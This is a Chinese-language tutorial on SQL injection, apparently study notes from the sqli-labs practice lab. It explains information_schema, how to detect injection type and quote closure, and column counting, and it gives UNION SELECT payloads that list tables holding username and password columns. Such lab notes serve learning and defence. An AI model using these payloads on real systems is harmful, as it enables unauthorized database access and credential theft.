本文主要是介绍网络安全(sql注入),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
这里写目录标题
- 一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表
- 1. information_schema.schemata
- 2. information_schema.tables
- 二. 判断注入类型
- 1. 判断数字型还是字符型注入
- 2. 判断注入闭合是""还是''
- 三. 判断表的列数
- 五. 注入变量的类型
- 六. SQL注入步骤
- 快速判断是数字还是字符型输入方法为:
什么是sql注入,按理来说我们的查询语句应该在后台构建,不应该把查询语句放到url中,但是sql注入就是通过语法漏洞将查询语句放到url中,从而进行入侵
一. information_schema.tables 和 information_schema.schemata是information_schema数据库中的两张表
1. information_schema.schemata
功能:information_schema.schemata 表提供关于当前数据库实例中所有数据库(或称为“模式”,schema)的信息。
常用列:
schema_name:数据库或模式的名称。
catalog_name:数据库目录的名称(通常是数据库实例的名称)。
default_character_set_name:数据库的默认字符集。
default_collation_name:数据库的默认排序规则。
用途:用于列出数据库实例中所有的数据库。可以帮助管理员了解在数据库服务器上有哪些数据库或模式。
2. information_schema.tables
功能:information_schema.tables 表提供当前数据库实例中所有表(包括视图)的信息。
常用列:
table_catalog:表的目录名称(通常是数据库实例的名称)。
table_schema:表所属的数据库或模式的名称。
table_name:表的名称。
table_type:表的类型(BASE TABLE表示物理表,VIEW表示视图等)。
engine(MySQL特有):表使用的存储引擎(例如,InnoDB、MyISAM 等)。
用途:用于列出所有表以及它们所属的数据库。可以帮助管理员或开发人员了解每个数据库中存在的表和视图。
区别总结
信息内容:schemata 提供的是数据库级别的信息(列出所有数据库),而 tables 提供的是表级别的信息(列出所有表及其所属的数据库)。
用途:schemata 用于查看数据库实例中有哪些数据库;tables 用于查看具体的数据库中有哪些表或视图。
如果你想查看当前实例中有哪些数据库,可以使用:
表示从information_schema.schemata这张表中查询信息SELECT schema_name FROM information_schema.schemata;如果你想查看某个特定数据库中的所有表,可以使用:SELECT table_name FROM information_schema.tables WHERE table_schema =
'your_database_name';
查看当前数据库中的所有表名和表中对应列名
SELECT * FROM `users` WHERE id=-1 UNION SELECT 1, table_name, column_name FROM
information_schema.columns where table_schema=database();
使用group by就必须使用聚合函数如MIN(),SUM(),GROUP_CONCAT(),count()。
同时having尽量和group by连用,因为having后要使用聚合函数如:HAVING SUM(salary) > 5000。这种功能在 WHERE 中是无法实现的,因为 WHERE 无法作用于聚合结果。
SELECT GROUP_CONCAT(id) AS ids, department, COUNT(*) AS
employee_count,
SUM(salary) AS total_salary
FROM employees
GROUP BY department;
ids | department | employee_count | total_salary |
---|---|---|---|
1,4 | HR | 2 | 9800 |
2,3 | IT | 2 | 11500 |
查询当前数据库中只包含username和password列的表,这里使用了group by因为只有使用了group by
分组后,使用having进行聚合会更加精细。
http://localhost/sql/Less-2/
?id=-2 union select 1,group_concat(distinct table_name),3 from
information_schema.columns where table_schema=database() and column_name in
('username','password') group by table_name having count(distinct column_name)=2
二. 判断注入类型
1. 判断数字型还是字符型注入
字符型注入需要构造闭合,数字型不需要。
2. 判断注入闭合是""还是’’
如果是字符型注入且闭合类型为"",输入http://localhost/sql/Less-2/?id=1则会默认给1加上闭合为:
SELECT * FROM table_name WHERE id = "1";
或
SELECT * FROM table_name WHERE id = '1';
具体取决于闭合形式是''还是""
视频链接13:21
文档
如果是字符型注入且闭合类型为"",输入http://localhost/sql/Less-2/?id=1"则为
SELECT * FROM table_name WHERE id = "1"";
因为不闭合所有肯定会报错
此时我们在语句后加注释
http://localhost/sql/Less-2/?id=1" – (注意末尾有一个空格),则可以注释掉"
SELECT * FROM table_name WHERE id = "1";
正确
三. 判断表的列数
如果有表有三列则会正常返回结果
http://localhost/sql/Less-2/?id=“1” group by 3
SELECT * FROM table_name WHERE id = "1" GROUP BY 3;
或者使用
http://localhost/sql/Less-2/?id=“1” order by 3
SELECT * FROM table_name WHERE id = "1" ORDER BY 3;
五. 注入变量的类型
比如对一个数字型注入输入,http://localhost/sql/Less-2/?id=0 OR username=Dumb,错误
输入http://localhost/sql/Less-2/?id=0 OR username="Dumb"正确,因为username是char型的,查找类型不匹配也不行
六. SQL注入步骤
快速判断是数字还是字符型输入方法为:
-
输入http://localhost/sql/Less-2/?id=0 and 1=1,如果报错则是字符型输入。因为当前查询会被转换为
SELECT * FROM users WHERE id = '1 and 1=1'; id是整形,在去掉闭合后id=1 and 1=1,肯定不匹配报错.
如果要注入则需要变为
http://localhost/sql/Less-2/?id=0’ and 1=1 – (注意–后保留一个空格)SELECT * FROM users WHERE id = '1' and 1=1; 去掉闭合后id=1,满足整形
- 输入http://localhost/sql/Less-2/?id=2-1,如果是数字型则会返回id=1的列
使用select 1,2,database()等来查询数据库的库名
- 输入http://localhost/sql/Less-2/?id=2-1,如果是数字型则会返回id=1的列
这篇关于网络安全(sql注入)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!